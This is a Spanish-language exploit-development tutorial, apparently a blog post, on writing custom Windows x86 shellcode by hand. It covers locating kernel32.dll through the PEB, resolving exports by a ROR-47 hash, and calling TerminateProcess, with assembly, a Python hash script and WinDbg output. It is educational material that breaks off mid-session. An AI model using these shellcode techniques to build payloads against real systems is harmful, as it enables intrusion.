xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



Exploit Development

Custom Shellcode



En explotaciones anteriores la creación del shellcode la haciamos usando msfvenom, en este post aprenderemos no solo a entender como funciona sino tambien desarrollarlo por nuestra cuenta, primero crearemos el codigo en lenguaje en ensamblador para despues traducirlo a una forma hexadecimal que podamos usar en un exploit, el crear un shellcode universal para windows ciertamente puede ser un reto asi que repasemos algunos conceptos y veamos que podemos o no usar


Calling Conventions


Las convenciones de llamadas definen lo que se necesita para llamar a una función:
• Como se pasan los argumentos a la función
• Como se prepara la pila antes de la llamada
• Como se restaura la pila después de la llamada

Por tanto es importante que se utilice la convención de la llamada correcta para la función, las funciones de la API de Win32 utilizan la convencion de llamadas __stdcall mientras que las funciones en tiempo de ejecución C utilizan la convención __cdecl, en los 2 casos los parametros se empujan a la pila en orden inverso, la diferencia es que cuanso se utiliza __stdcall la pila es limpiada por el callee mientras que cuando se utiliza __cdecl es limpilada por el caller

Para cualquier convencion de llamada en x86 los registros eax, ecx y edx se consideran volatiles lo qeu significa que no debemos confiar en que estos volveran con el mismo valor ya que pueden ser manipulados durante la llamada a una función

Las syscalls son funciones que proporcionan interfaz al kernel desde windows-user esto permite ejecutar funciones de bajo nivel del sistema operativo, la API nativa de windows es equivalente a system calls en sistemas unix, se trata de una interfaz expuesta a las aplicaciones en windows-user por la libreria ntdll.dll

La API nativa de windows no esta documentada y esta oculta tras la API de nivel superior, las funciones a nivel de kernel se identifican a traves de syscall numbers sin embargo estos tienden a cambiar entre versiones y es bastante limitada, por ejemplo no hay una api de socket a traves de syscalls por lo que debemos evitarlas a toda costa para escribir un shellcode universal que funcione en cualquier version

Sin syscalls la unica opcion de comunicarnos con el kernel es la API de Windows que se exporta mediante librerias (.dll) si no estan cargadas en el proceso necesitamos cargarlas y localizar las funciones que exportan, una vez localizadas las funciones podemos llamarlas en el shellcode, la funcion LoadLibraryA nos permite cargar dlls mientras GetModuleHandle puede utilizarse para obtener la direccion base de una dll y GetProcAddress para resolver simbolos, sin embargo las direcciones no las conocemos cuando corremos el shellcode en memoria, para ello necesitamos averiguar como resolver funciones de kernel32.dll y de otras librerias necesarias


Find kernel32


Entonces, shellcode necesita localizar la direccion base de kernel32.dll, para obtener la direccion base de una dll necesitamos asegurarnos que esta en memoria en tiempo de ejecucion, afortunadamente kernel32.dll esta garantizado porque exporta las API basicas para la mayoria de procesos, una vez podamos obtener su direccion base y resolver simbolos podemos cargar otras librerias con LoadLibraryA

Hay varios metodos que se pueden utilizar para encontrar la dirección base de kernel32.dll, el método más usado por su portabilidad se basa en la estructura del bloque PEB, la estructura PEB es asignada por el sistema en cada proceso, podemos encontrarla en la memoria a partir de la direccion contenida en el registro fs

En las versiones de 32 bits el registro fs siempre contiene un puntero al TEB, en el offset 0x30 del TEB podemos encontrar un puntero a la estructura PEB

0:000> dt ntdll!_TEB @$teb
ntdll!_TEB
   +0x000 NtTib            : _NT_TIB
   +0x01c EnvironmentPointer : (null) 
   +0x020 ClientId         : _CLIENT_ID
   +0x028 ActiveRpcHandle  : (null) 
   +0x02c ThreadLocalStoragePointer : 0x012946a0 Void
   +0x030 ProcessEnvironmentBlock : 0x00d46000 _PEB

Dentro del PEB hay un puntero a la estructura _PEB_LDR_DATA con un offset de 0xc que hace referencia a 3 listas enlazadas que muestren los modulos cargados

0:000> dt ntdll!_PEB 0x00d46000
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''
   +0x003 BitField         : 0x4 ''
   +0x003 ImageUsesLargePages : 0y0
   +0x003 IsProtectedProcess : 0y0
   +0x003 IsImageDynamicallyRelocated : 0y1
   +0x003 SkipPatchingUser32Forwarders : 0y0
   +0x003 IsPackagedProcess : 0y0
   +0x003 IsAppContainer   : 0y0
   +0x003 IsProtectedProcessLight : 0y0
   +0x003 IsLongPathAwareProcess : 0y0
   +0x004 Mutant           : 0xffffffff Void
   +0x008 ImageBaseAddress : 0x009b0000 Void
   +0x00c Ldr              : 0x77adeb20 _PEB_LDR_DATA

En la estructura _PEB_LDR_DATA encontramos 3 listas enlazadas con nombres descriptivos que ofrecen un ordenamiento diferente de los modulos cargado, todos ellos muestran el modulo anterior y siguiente, solo cambia el orden que usa:
InLoadOrderModuleList: En orden de carga
InMemoryOrderModuleList: En orden de colocación en memoria
InInitializationOrderModuleList: En orden de inicialización

WinDbg describe el campo InMemoryOrderModuleList como una estructura LIST_ENTRY compuesta por 2 campos que analizaremos a continuación

0:000> dt ntdll!_PEB_LDR_DATA 0x77adeb20
   +0x000 Length           : 0x30
   +0x004 Initialized      : 0x1 ''
   +0x008 SsHandle         : (null) 
   +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x2892138 - 0x289b4d0 ]
   +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x2892140 - 0x289b4d8 ]
   +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x2892050 - 0x2897588 ]
   +0x024 EntryInProgress  : (null) 
   +0x028 ShutdownInProgress : 0 ''
   +0x02c ShutdownThreadId : (null)

Ambos campos de la estructura se utilizan habitualmente en listas doblemente enlazadas para acceder a la entrada siguiente (Flink) o anterior (Blink) de la lista

0:000> dt ntdll!_LIST_ENTRY (0x77adeb20 + 0x14)
 [ 0x2892140 - 0x289b4d8 ]
   +0x000 Flink            : 0x02892140 _LIST_ENTRY [ 0x2892048 - 0x77adeb34 ]
   +0x004 Blink            : 0x0289b4d8 _LIST_ENTRY [ 0x77adeb34 - 0x289b7d8 ]  

Al mostrar la estructura restando 0x8 de la direccion de la estructura _LIST_ENTRY para llegar al principio de la estructura _LDR_DATA_TABLE_ENTRY, muestra que la estructura contiene un campo llamado DllBase que como su nombre indica contiene la dirección base del dll, tambien podemos obtener el nombre de la libreria en el campo BaseDllName que tiene una estructura de tipo _UNICODE_STRING

0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY poi(0x77adeb20 + 0x14 - 0x8)
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x2892040 - 0x77adeb2c ]
   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x2892048 - 0x77adeb34 ]
   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x018 DllBase          : 0x00150000 Void
   +0x01c EntryPoint       : 0x00176e90 Void
   +0x020 SizeOfImage      : 0x51000
   +0x024 FullDllName      : _UNICODE_STRING "C:\Windows\SysWOW64\notepad.exe"
   +0x02c BaseDllName      : _UNICODE_STRING "notepad.exe"

Al ser una lista enlazada deberiamos acceder a la siguiente entrada, que será ntdll.dll y como tercer valor kernel32.dll, en el offset 0x18 osea 0x10 a partir de donde estamos deberiamos tener el valor DllBase que tendrá la base de kernel32

0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY poi(poi(0x77adeb20 + 0x14) - 0x8)
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x2897578 - 0x2892138 ]
   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x2897580 - 0x2892140 ]
   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x2897900 - 0x77adeb3c ]
   +0x018 DllBase          : 0x779b0000 Void
   +0x01c EntryPoint       : (null) 
   +0x020 SizeOfImage      : 0x1b2000
   +0x024 FullDllName      : _UNICODE_STRING "C:\Windows\SYSTEM32\ntdll.dll"
   +0x02c BaseDllName      : _UNICODE_STRING "ntdll.dll"

0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY poi(poi(poi(0x77adeb20 + 0x14)) - 0x8)
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x1294498 - 0x1293b98 ]
   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x12944a0 - 0x1293ba0 ]
   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x77adeb3c - 0x12944a8 ]
   +0x018 DllBase          : 0x77890000 Void
   +0x01c EntryPoint       : 0x778a77c0 Void
   +0x020 SizeOfImage      : 0xf0000
   +0x024 FullDllName      : _UNICODE_STRING "C:\Windows\System32\KERNEL32.DLL"  
   +0x02c BaseDllName      : _UNICODE_STRING "KERNEL32.DLL"

Inciamos nuestro shellcode con un int3 que usaremos como breakpoint, despues de ello moveremos el registro esp a ebp y restaremos 0x28, esto emula una funcion real para que los argumentos pasados a la funcion sean accedidos facilmente

global _start

_start:
    int3
    mov ebp, esp                    ; new stack frame
    sub esp, 0x28                   ; space for variables  

Despues ejecutamos la funcion .find_kernel32, esta guarda en esi fs:[0x30] que es el puntero al PEB, desreferenciamos esi con el offset 0xc para obtener el puntero a la estructura _PEB_LDR_DATA, finalmente desreferenciamos de nuevo esi ahora con el offset 0x14 para obtener la entrada de la lista InMemoryOrderModuleList

    .find_kernel32:
        xor ecx, ecx                ; TEB structure
        mov esi, [fs: ecx + 0x30]   ; PEB Address
        mov esi, [esi + 0xc]        ; ntdll!PebLdr
        mov esi, [esi + 0x14]       ; InMemoryOrderModuleList  

La primera instruccion mov guarda la primera entrada de la lista que es el binario en esi, después con lodsd se carga la siguiente entrada InMemoryOrderModuleList utilizando el miembro flink, esta será ntdll.dll, finalmente se mueve a ebx el valor DllBase de la siguiente entrada guardando así la base de kernel32.dll

        mov esi, [esi]              ; ntdll.dll
        lodsd                       ; kernel32.dll
        mov ebx, [eax + 0x10]       ; kernel32 base  
        ret                         ; return

Para debuggear el shellcode facilmente simplemente crearemos un ejecutable compilando el codigo ensamblador con nasm y ld para obtener un .exe

❯ nasm -f elf shellcode.asm -o shellcode.o; ld shellcode.o -m i386pe -o shellcode.exe  

Podemos simplemente abrir el ejecutable en WinDbg y ejecutarlo hasta el breakpoint que indica que lo que esta justo despues es nuestro shellcode

0:000> g
(2ecc.2ea8): Break instruction exception - code 80000003 (first chance)
eax=00bff8a4 ebx=009e6000 ecx=00d31000 edx=00d31000 esi=00d31000 edi=00d31000  
eip=00d31000 esp=00bff850 ebp=00bff85c iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
shellcode+0x1000:
00d31000 cc              int     3

0:000> u eip Lb
shellcode+0x1000:
00d31000 cc              int     3
00d31001 89e5            mov     ebp,esp
00d31003 83ec28          sub     esp,28h
00d31006 31c9            xor     ecx,ecx
00d31008 648b7130        mov     esi,dword ptr fs:[ecx+30h]
00d3100c 8b760c          mov     esi,dword ptr [esi+0Ch]
00d3100f 8b7614          mov     esi,dword ptr [esi+14h]
00d31012 8b36            mov     esi,dword ptr [esi]
00d31014 ad              lods    dword ptr [esi]
00d31015 8b5810          mov     ebx,dword ptr [eax+10h]
00d31018 c3              ret

Saltemos hasta la siguiente instrucción ret que indica que ha salido bien y si es asi en el registro ebx deberiamos la dirección base del módulo kernel32.dll

0:000> pt
eax=012940b0 ebx=77890000 ecx=00000000 edx=009b1000 esi=01293ba4 edi=009b1000
eip=009b1018 esp=00fff9c0 ebp=00fff9e8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
shellcode+0x1018:
009b1018 c3              ret

0:000> r ebx
ebx=77890000

0:000> lm m kernel32
Browse full module list
start    end        module name
77890000 77980000   KERNEL32   (deferred)


Find symbols


Una vez obtuvimos la direccion de kernel32.dll el siguiente paso es resolver las API exportadas por el modulo, comenzaremos por resolver la dirección de la función TerminateProcess utilizando la Export Directory Table para encontrar su dirección

Usar la Export Directory Table es la forma segura de resolver simbolos de las dll, las dlls que exportan funciones tienen una tabla que contiene informacion como:
• Numero de simbolos exportados
• RVA del array de export-functions
• RVA del array de export-names
• RVA del array de export-ordinals

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // RVA from base of image  
    DWORD   AddressOfNames;         // RVA from base of image  
    DWORD   AddressOfNameOrdinals;  // RVA from base of image  
};

Para resolver un simbolo por su nombre empezaremos por la lista AddressOfNames cada nombre tendra una entrada e indice unicos en la lista, una vez encontramos el nombre del simbolo en el indice i de la lista AddressOfNames podemos utilizar el indice en la lista AddressOfNameOrdinals, despues de esto la entrada en la lista AddressOfNameOrdinals en el indice i contendra un valor que servira como nuevo indice, encontraremos la Relative Virtual Address (RVA) de la funcion, podemos convertirla en una Virtual Memory Address (VMA) añadiendo la direccion base del dll

El tamaño del shellcode es importante, tenemos que optimizar el algoritmo de busqueda para los nombres de simbolos que necesitamos, para ello utilizaremos una funcion hash que transforma una cadena en un hash de apenas un dword, esto nos permitira reutilizar las instrucciones para cualquier nombre de simbolo

La funcion .find_function guarda los valores en la pila usando pushad para restaurarlos despues incluso si se modifican, se almacena la direccion base con el offset 0x3c en eax, en este offset se encuentra el offset de la cabecera PE, luego se utilizar el valor en eax y se añade a la direccion base de kernel32.dll junto con un offset estatico de 0x78 y se almacena el valor desreferenciado en edi, se usa un offset de 0x78 porque es la ubicacion donde podemos encontrar el RVA de la Export Directory Table, esta se convierte en una VMA sumando la direccion base

    .find_function:
        pusha                       ; save all registers
        mov eax, [ebx + 0x3c]       ; RVA to PE signature
        mov edi, [ebx + eax + 0x78] ; RVA of Export Table
        add edi, ebx                ; Export Table

Almacenamos el VMA con un offset de 0x18 en ecx este es el offset del campo NumberOfName que contiene el numero de simbolos exportados, por lo que podemos usar el valor en ecx como contador para analizar la lista AddressOfNames, movelos el valor que apunta edi y un offset de 0x20 del campo AddressOfNames a eax, como se trata de un RVA añadimos la direccion base de kernel32.dll para obtener el VMA, luego guardamos el VMA de AddressOfNames en una variable en ebp

        mov ecx, [edi + 0x18]       ; NR of Names
        mov eax, [edi + 0x20]       ; RVA of Name Pointer Table  
        add eax, ebx                ; Name Pointer Table
        mov [ebp - 0x4], eax        ; var4 = Name Pointer Table  

Entonces seguimos con .find_loop que comienza con un salto condicional baseado en el valor de ecx, si se cumple significa que hemos llegado al final de la lista sin encontrar el nombre del simbolo, si el valor de ecx no es 0x0 decrementamos el contador y obtenemos la VMA de AddressOfNames, podemos utilizar ecx como indice de AddressOfNames y multiplicarlo por 4 ya que cada entrada es un dword, despues guardamos el RVA del nombre del simbolo en esi para finalmente obtener el VMA del nombre del simbolo añadiendo la direccion base de kernel32.dll

    .find_loop:
        jecxz .find_end             ; if ecx = 0x0
        dec ecx                     ; counter -= 1
        mov eax, [ebp - 0x4]        ; $eax = Name Pointer Table  
        mov esi, [eax + ecx * 4]    ; RVA of symbol name
        add esi, ebx                ; symbol name

Finalmente para salir de la función restauramos los registros guardados y retornamos

    .find_end:
        popa                        ; restore registers  
        ret                         ; return

El encabezado PE puede encontrarse en el offset 0xf8, mirando esta estructura podemos notar la estructura _IMAGE_OPTIONAL_HEADER en el offset 0x18

0:000> g
(1898.1e74): Break instruction exception - code 80000003 (first chance)
eax=6f5f7210 ebx=0042b000 ecx=00131000 edx=00131000 esi=00131000 edi=00131000  
eip=00131000 esp=007ff80c ebp=007ff81c iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
shellcode+0x1000:
00131000 cc              int     3

0:000> lm m kernel32
Browse full module list
start    end        module name
77480000 77515000   KERNEL32   (derefered)

0:000> dt ntdll!_IMAGE_DOS_HEADER 0x77480000 
   +0x000 e_magic          : 0x5a4d
   +0x002 e_cblp           : 0x90
   +0x004 e_cp             : 3
   +0x006 e_crlc           : 0
   +0x008 e_cparhdr        : 4
   +0x00a e_minalloc       : 0
   +0x00c e_maxalloc       : 0xffff
   +0x00e e_ss             : 0
   +0x010 e_sp             : 0xb8
   +0x012 e_csum           : 0
   +0x014 e_ip             : 0
   +0x016 e_cs             : 0
   +0x018 e_lfarlc         : 0x40
   +0x01a e_ovno           : 0
   +0x01c e_res            : [4] 0
   +0x024 e_oemid          : 0
   +0x026 e_oeminfo        : 0
   +0x028 e_res2           : [10] 0
   +0x03c e_lfanew         : 0n248

0:000> ? 0n248
Evaluate expression: 248 = 000000f8

0:000> dt ntdll!_IMAGE_NT_HEADERS 0x77480000 + 0xf8
   +0x000 Signature        : 0x4550
   +0x004 FileHeader       : _IMAGE_FILE_HEADER
   +0x018 OptionalHeader   : _IMAGE_OPTIONAL_HEADER  

Esta estructura contiene dentro otra estructura llamada _IMAGE_DATA_DIRECTORY en el offset 0x60, el campo DataDirectory se representa como una lista de longitud 16

0:000> dt ntdll!_IMAGE_OPTIONAL_HEADER 0x77480000 + 0xf8 + 0x18  
   +0x000 Magic            : 0x10b
   +0x002 MajorLinkerVersion : 0xe ''
   +0x003 MinorLinkerVersion : 0xa ''
   +0x004 SizeOfCode       : 0x82000
   +0x008 SizeOfInitializedData : 0x12000
   +0x00c SizeOfUninitializedData : 0
   +0x010 AddressOfEntryPoint : 0x195e0
   +0x014 BaseOfCode       : 0x1000
   +0x018 BaseOfData       : 0x83000
   +0x01c ImageBase        : 0x77480000
   +0x020 SectionAlignment : 0x1000
   +0x024 FileAlignment    : 0x1000
   +0x028 MajorOperatingSystemVersion : 0xa
   +0x02a MinorOperatingSystemVersion : 0
   +0x02c MajorImageVersion : 0xa
   +0x02e MinorImageVersion : 0
   +0x030 MajorSubsystemVersion : 0xa
   +0x032 MinorSubsystemVersion : 0
   +0x034 Win32VersionValue : 0
   +0x038 SizeOfImage      : 0x95000
   +0x03c SizeOfHeaders    : 0x1000
   +0x040 CheckSum         : 0x98558
   +0x044 Subsystem        : 3
   +0x046 DllCharacteristics : 0x4140
   +0x048 SizeOfStackReserve : 0x40000
   +0x04c SizeOfStackCommit : 0x1000
   +0x050 SizeOfHeapReserve : 0x100000
   +0x054 SizeOfHeapCommit : 0x1000
   +0x058 LoaderFlags      : 0
   +0x05c NumberOfRvaAndSizes : 0x10
   +0x060 DataDirectory    : [16] _IMAGE_DATA_DIRECTORY

Esta estructura se compone de 2 dwords que da como resultado un tamaño de 0x8

typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD VirtualAddress;
    DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

Encontraremos la estructura _IMAGE_OPTIONAL_HEADER en el offset 0x18 de la cabecera PE, en el offset 0x60 localizaremos la primera entrada de DataDirectory que contiene informacion sobre la Export Directory Table, esta informacion confirma que el shellcode utiliza el offset de 0x78 correcto para obtener la EDT

0:000> dt ntdll!_IMAGE_DATA_DIRECTORY 0x77480000 + 0xf8 + 0x78  
   +0x000 VirtualAddress   : 0x75480
   +0x004 Size             : 0xd836

0:000> !dh -f kernel32
File Type: DLL
FILE HEADER VALUES
     14C machine (i386)
       5 number of sections
57CE72FD time date stamp Tue Sep  6 02:40:45 2016

       0 file pointer to symbol table
       0 number of symbols
      E0 size of optional header
    2102 characteristics
            Executable
            32 bit word machine
            DLL

OPTIONAL HEADER VALUES
     10B magic #
   14.10 linker version
   82000 size of code
   12000 size of initialized data
       0 size of uninitialized data
   195E0 address of entry point
    1000 base of code

    4140  DLL characteristics
            Dynamic base
            NX compatible
            Guard
   75480 [    D836] address [size] of Export Directory
   853E8 [     6F4] address [size] of Import Directory
   8F000 [     520] address [size] of Resource Directory

Despues de obtener la RVA para la EDT determinaremos si el shellcode recupera el mismo valor, y antes de sumarle la direccion base el valor de edi coincide con este

0:000> p
eax=000000f8 ebx=77480000 ecx=00000000 edx=00bf1000 esi=779bab5c edi=00075480  
eip=00bf1033 esp=00fffe00 ebp=00fffe4c iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
shellcode+0x1033:
00bf1033 01df            add     edi,ebx

0:000> r edi
edi=00075480

Al seguir ejecutando el shellcode hasta la función .find_end el registro esi deberia apuntar al nombre del ultimo simbolo exportado por kernel32.dll

0:000> r
eax=774f6d90 ebx=77480000 ecx=00000639 edx=00bf1000 esi=77502caa edi=774f5480  
eip=00bf104b esp=00fffe00 ebp=00fffe4c iopl=0         nv up ei pl nz na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206  
shellcode+0x104b:
00bf104b 61              popad

0:000> da esi
77502caa  "timeGetTime"


Compute hash


Con lo anterior estamos listos para analizar la lista ArrayOfNames en busca del simbolo que nos interesa, en este caso TerminateProcess para ello utilizaremos un algoritmo de hash que genera un dword unico para buscarlo en lugar de la longitud de la cadena o varias partes del nombre del simbolo este produce el mismo resultado obtenido por GetProcAddress y se puede reutilizar para todas las librerias

La primera parte a agregar comienza asignando el valor 0x0 al registro eax, tambien utiliza cdq para establecer edx en 0x0 con menos peso que el tipico xor

        xor eax, eax                ; $eax = 0x0
        cdq                         ; $edx = 0x0  

La funcion .compute_hash comienza ejecutando lodsb que cargara un byte de la memoria apuntada por esi al registro al y luego incrementara o disminuira automaticamente el registro de acuerdo con la flag df, despues una instruccion test para comprobar si al es 0x0, si lo es tomara el salto jz hacia .find_end, si al no es 0x0 llegaremos a una operacion bit a bit con ror que rota los bits del primer operando a la derecha el numero de posiciones de bit especificado en el segundo operando, en este caso se rota 47 o 0x2f bits, aunque lugar de rot 47 se pudo usar rot 13 la representacion de este es 0xd que como se ha visto en explotaciones anteriores suele ser un badchar bastante comun asi que lo evitaremos

    .compute_hash:
        lodsb                       ; load in al next byte from esi
        test al, al                 ; check null terminator
        jz .find_end                ; If ZF == 1
        ror edx, 0x2f               ; rot 47
        add edx, eax                ; add new byte
        jmp .compute_hash           ; loop

    .find_end:
        popa                        ; restore registers
        ret                         ; return

Para entender como funciona ror podemos probarlo dentro de windbg, guardando en eax un valor y ejecutando ror eax, 0x1, al ejecutarlo vemos el resultado

0:000> r eax=0x41

0:000> a eip
00bf104b ror eax, 0x1
ror eax, 0x1
00bf104d 

0:000> .formats eax
Evaluate expression:
  Hex:     00000041
  Decimal: 65
  Octal:   00000000101
  Binary:  00000000 00000000 00000000 01000001
  Chars:   ...A
  Time:    Wed Dec 31 18:01:05 1969
  Float:   low 9.10844e-044 high 0
  Double:  3.21143e-322

0:000> p
eax=80000020 ebx=77480000 ecx=00000639 edx=00bf1000 esi=77502caa edi=774f5480  
eip=00bf104d esp=00fffe00 ebp=00fffe4c iopl=0         ov up ei pl nz na pe cy  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000a07  
shellcode+0x104d:
00bf104d ff              ???

0:000> .formats eax
Evaluate expression:
  Hex:     80000020
  Decimal: -2147483616
  Octal:   20000000040
  Binary:  10000000 00000000 00000000 00100000
  Chars:   ... 
  Time:    ***** Invalid
  Float:   low -4.48416e-044 high -1.#QNAN
  Double:  -1.#QNAN

Despues del ror añadimos el valor de eax que contiene un byte del simbolo al registro edx y saltamos a .compute_hash, este bucle repasara cada byte del nombre de simbolo y lo añadira a edx, esto devolverá un hash unico de 4 bytes para el simbolo por lo que podemos compararlo con un hash precomputado para determinar si la entrada es correcta y hemos encontrado la funcion que necesitamos

Podemos escribir un simple script en python que realice la misma operacion para poder calcular el hash de un simbolo para buscarlo en el shellcode

#!/usr/bin/python3
import sys

def ror(byte, count):
    binb = bin(byte)[2:].zfill(32)
    binb = binb[-count % 32:] + binb[:-count % 32]  
    return int(binb, 2)

esi = sys.argv[1]
edx = 0x0

counter = 0

for eax in esi:
    edx = edx + ord(eax)
    if counter < len(esi) - 1:
        edx = ror(edx, 47)
        counter += 1

print(hex(edx))

El script recibe una cadena en este caso le pasaremos timeGetTime para generar el hash, este fue el el nombre del ultimo simbolo exportado por kernel32.dll

❯ python3 hash.py timeGetTime  
0x149c580a

Ejecutamos el shellcode actualizado para confirmar que el algoritmo funciona, si nos detenemos en .find_function podemos ver el codigo que genera el hash

0:000> r
eax=7da34f81 ebx=77480000 ecx=00000000 edx=010f1000 esi=779bab5c edi=00b32388  
eip=010f102b esp=009ffa7c ebp=009ffaa8 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
shellcode+0x102b:
010f102b 60              pushad

0:000> u eip L18
shellcode+0x102b:
010f102b 60              pushad
010f102c 8b433c          mov     eax,dword ptr [ebx+3Ch]
010f102f 8b7c0378        mov     edi,dword ptr [ebx+eax+78h]
010f1033 01df            add     edi,ebx
010f1035 8b4f18          mov     ecx,dword ptr [edi+18h]
010f1038 8b4720          mov     eax,dword ptr [edi+20h]
010f103b 01d8            add     eax,ebx
010f103d 8945fc          mov     dword ptr [ebp-4],eax
010f1040 e319            jecxz   shellcode+0x105b (010f105b)
010f1042 49              dec     ecx
010f1043 8b45fc          mov     eax,dword ptr [ebp-4]
010f1046 8b3488          mov     esi,dword ptr [eax+ecx*4]
010f1049 01de            add     esi,ebx
010f104b 31c0            xor     eax,eax
010f104d 99              cdq
010f104e fc              cld
010f104f ac              lods    byte ptr [esi]
010f1050 84c0            test    al,al
010f1052 7407            je      shellcode+0x105b (010f105b)
010f1054 c1ca2f          ror     edx,2Fh
010f1057 01c2            add     edx,eax
010f1059 ebf4            jmp     shellcode+0x104f (010f104f)
010f105b 61              popad
010f105c c3              ret

El primer salto lo hacemos despues de que encuentra la primera entrada de la tabla que es la funcion timeGetTime, despues saltamos a .find_end y comprobamos que el hash calculado con el script de python coincide con el valor del registro edx

0:000> g 0x010f104b 
eax=774f6d90 ebx=77480000 ecx=00000639 edx=010f1000 esi=77502caa edi=774f5480  
eip=010f104b esp=009ffa5c ebp=009ffaa8 iopl=0         nv up ei pl nz na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206  
shellcode+0x104b:
010f104b 31c0            xor     eax,eax

0:000> da esi
77502caa  "timeGetTime"

0:000> g 0x010f105b
eax=00000000 ebx=77480000 ecx=00000639 edx=149c580a esi=77502cb6 edi=774f5480  
eip=010f105b esp=009ffa5c ebp=009ffaa8 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
shellcode+0x105b:
010f105b 61              popad

0:000> r edx
edx=149c580a

Ahora que hemos comprobado que el algoritmo hash funciona podemos buscar el simbolo TerminateProcess obtener su dirección dentro del shellcode

❯ python3 hash.py TerminateProcess  
0x8ee05933

El primer cambio es en la funcion _start, colocamos en la pila el hash calculado, luego llamamos la función .find_function para resolverlo, este devuelve en eax su dirección por lo que le pasamos los argumentos necesarios y llamamos a la función

global _start

_start:
    int3
    mov ebp, esp                    ; new stack frame
    sub esp, 0x28                   ; space for variables

    call .find_kernel32             ; find kernel32

    push 0x8ee05933                 ; TerminateProcess() hash  
    call .find_function             ; find TerminateProcess()  

    xor ecx, ecx                    ; $ecx = 0x0
    push ecx                        ; uExitCode
    push 0xffffffff                 ; hProcess
    call eax                        ; call TerminateProcess()  

La funcion .compare_hash compara edx y el valor apuntado por esp + 0x24, para que esta comparacion funcione necesitamos asegurarnos que esp + 0x24 apunte al hash precomputado, si los hashes comparados no coinciden volveremos a .find_loop y tomaremos la siguiente entrada de la lista AddressOfNameOrdinals en el offset 0x24 de la EDT que se almacena en edi, la siguiente instruccion añade la base de kernel32.dll al RVA de AddressOfNameOrdinals, seguido de esto se mueve a cx [edx + 2 * ecx] que se utiliza como indice de la lista AddressOfNames

Una vez que encontramos la entrada para nuestro simbolo podemos utilizar el indice para recuperar la entrada de la lista AddressOfNameOrdinals, multiplicamos ecx por 0x2 ya que cada entrada es un word, luego movemos el valor al registro cx que es nuestro contador/indice, usaremos este nuevo valor como nuevo indice de la lista AddressOfFunctions, antes de tomar el nuevo indice tomamos el RVA en el offset 0x1c de la EDT, y le añadimos la base de kernel32, usando el indice recuperamos el RVA de la funcion y al sumarle la base de kernel32.dll obtenemos el VMA

    .compute_hash:
        lodsb                       ; load in al next byte from esi  
        test al, al                 ; check null terminator
        jz .compare_hash            ; If ZF == 1
        ror edx, 0x2f               ; rot 47
        add edx, eax                ; add new byte
        jmp .compute_hash           ; loop

   .compare_hash:
        cmp edx, [esp + 0x24]       ; cmp edx, hash
        jnz .find_loop              ; if zf != 1
        mov edx, [edi + 0x24]       ; RVA of Ordinal Table
        add edx, ebx                ; Ordinal Table
        mov cx, [edx + 2 * ecx]     ; extrapolate ordinal functions
        mov edx, [edi + 0x1c]       ; RVA of Address Table
        add edx, ebx                ; Address Table
        mov eax, [edx + 4 * ecx]    ; RVA of function
        add eax, ebx                ; function
        mov [esp + 0x1c], eax       ; overwrite eax from pushad

    .find_end:
        popa                        ; restore registers
        ret                         ; return

Al correrlo en del debugger podemos ir a la instruccion final de .compare_hash, en el registro eax ahora se almacena la dirección de la función TerminateProcess

0:000> r
eax=774a9070 ebx=77480000 ecx=00000584 edx=774f54a8 esi=77501cd3 edi=774f5480
eip=00f71080 esp=013ffe74 ebp=013ffec4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
shellcode+0x1080:
00f71080 8944241c        mov     dword ptr [esp+1Ch],eax ss:0023:013ffe90=9a0d9fa1

0:000> u eax
KERNEL32!TerminateProcessStub:
774a9070 8bff            mov     edi,edi
774a9072 55              push    ebp
774a9073 8bec            mov     ebp,esp
774a9075 5d              pop     ebp
774a9076 ff2534495077    jmp     dword ptr [KERNEL32!_imp__TerminateProcess (77504934)]  
774a907c cc              int     3
774a907d cc              int     3
774a907e cc              int     3

Despues de salir de la función .find_function se setean los registros que necesita TerminateProcess para finalmente llamarlo aprovechando que lo tenemos en eax, de esta forma logramos obtener y ejecutar un simbolo dentro de kernel32.dll

0:000> r
